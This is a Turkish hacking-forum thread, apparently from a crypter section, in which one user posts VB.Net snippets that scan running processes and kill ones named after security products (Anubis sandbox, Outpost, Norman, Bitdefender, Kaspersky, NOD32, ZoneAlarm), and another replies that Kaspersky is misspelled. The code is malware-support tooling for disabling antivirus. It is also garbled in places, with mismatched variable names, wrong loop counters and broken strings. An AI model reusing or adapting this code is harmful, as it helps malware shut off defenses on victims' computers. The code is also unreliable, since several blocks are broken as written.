THT DUYURU

chat
Undetected Crypter, HEX kodlama ile ilgili konular

ugursuz reklam
takipci
Seçenekler

VB.Net Anti Anubis, Outpost, Norman, Bitdefender, Kaspersky, Nod32, ZoneAlarm

Redmama - ait Kullanıcı Resmi (Avatar)
Tamamen Askıya Alındı
Üyelik tarihi:
06/2016
Mesajlar:
1.625
Konular:
152
Teşekkür (Etti):
3
Teşekkür (Aldı):
1231
Ticaret:
(0) %
1
801
19-05-2017 15:56
#1
Kod:
---------------------------------------------------------------------
'Anti Anubis
Dim Anubis As Process() = Process.GetProcesses
Dim a As Integer
For a = 0 To Anubis.Length - 1
Debug.WriteLine(Anubis(a).ProcessName)
If Strings.UCase(Anubis(a).ProcessName) = Strings.UCase("Anubis") Then
Anubis(a).Kill()
End If
Next

----------------------------------------------------------------------
'Anti Outpost
Dim outpost As Process() = Process.GetProcesses
Dim o As Integer
For o = 0 To outpost.Length - 1
Debug.WriteLine(outpost(o).ProcessName)
If Strings.UCase(outpost(o).ProcessName) =Strings.UCase("outpost")Then
outpost(o).Kill()
End If
Next

----------------------------------------------------------------------
'Anti Norman
Dim norman As Process() = Process.GetProcesses
Dim n As Integer
For n = 0 To norman.Length - 1
Debug.WriteLine(norman(n).ProcessName)
If Strings.UCase(outpost(n).ProcessName)=Strings.UCas e("npfmsg") Then
norman(n).Kill()
End If
Next
----------------------------------------------------------------------

'Anti Bitdefender
Dim bit As Process() = Process.GetProcesses
Dim b As Integer
For b = 0 To bit.Length - 1
Debug.WriteLine(bit(b).ProcessName)
If Strings.UCase(bit(b).ProcessName) =Strings.UCase("bdagent") Then
bit(b).Kill()
End If
Next
-----------------------------------------------------------------------
'Anti Kaspersky
Dim persky As Process() = Process.GetProcesses
Dim p As Integer
For p = 0 To persky.Length - 1
Debug.WriteLine(perky(p).ProcessName)
If Strings.UCase(perky(p).ProcessName) =Strings.UCase("kavsvc") Then
perky(p).Kill()
End If
Next
-----------------------------------------------------------------------
'Anti Nod32
Dim nod As Process() = Process.GetProcesses
Dim n As Integer
For o = 0 To nod.Length - 1
Debug.WriteLine(nod(n).ProcessName)
If Strings.UCase(nod(n).ProcessName)=Strings.UCase("e gui") Then
nod(n).Kill()
End If
Next
-----------------------------------------------------------------------
'Anti Zonealarm
Dim zone As Process() = Process.GetProcesses
Dim z As Integer
For o = 0 To zone.Length - 1
Debug.WriteLine(zone(z).ProcessName)
If Strings.UCase(zone(z).ProcessName)=Strings.UCase(" zlclient") Then
zone(z).Kill()
End If
Next
-------------------------------------------------
yasevyada - ait Kullanıcı Resmi (Avatar)
Tamamen Askıya Alındı
Üyelik tarihi:
09/2011
Mesajlar:
641
Konular:
131
Teşekkür (Etti):
50
Teşekkür (Aldı):
159
Ticaret:
(0) %
19-05-2017 23:43
#2
Kaspersky yanlış yazılmış onun dışında iyi ama kapatıyor mu ?

Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler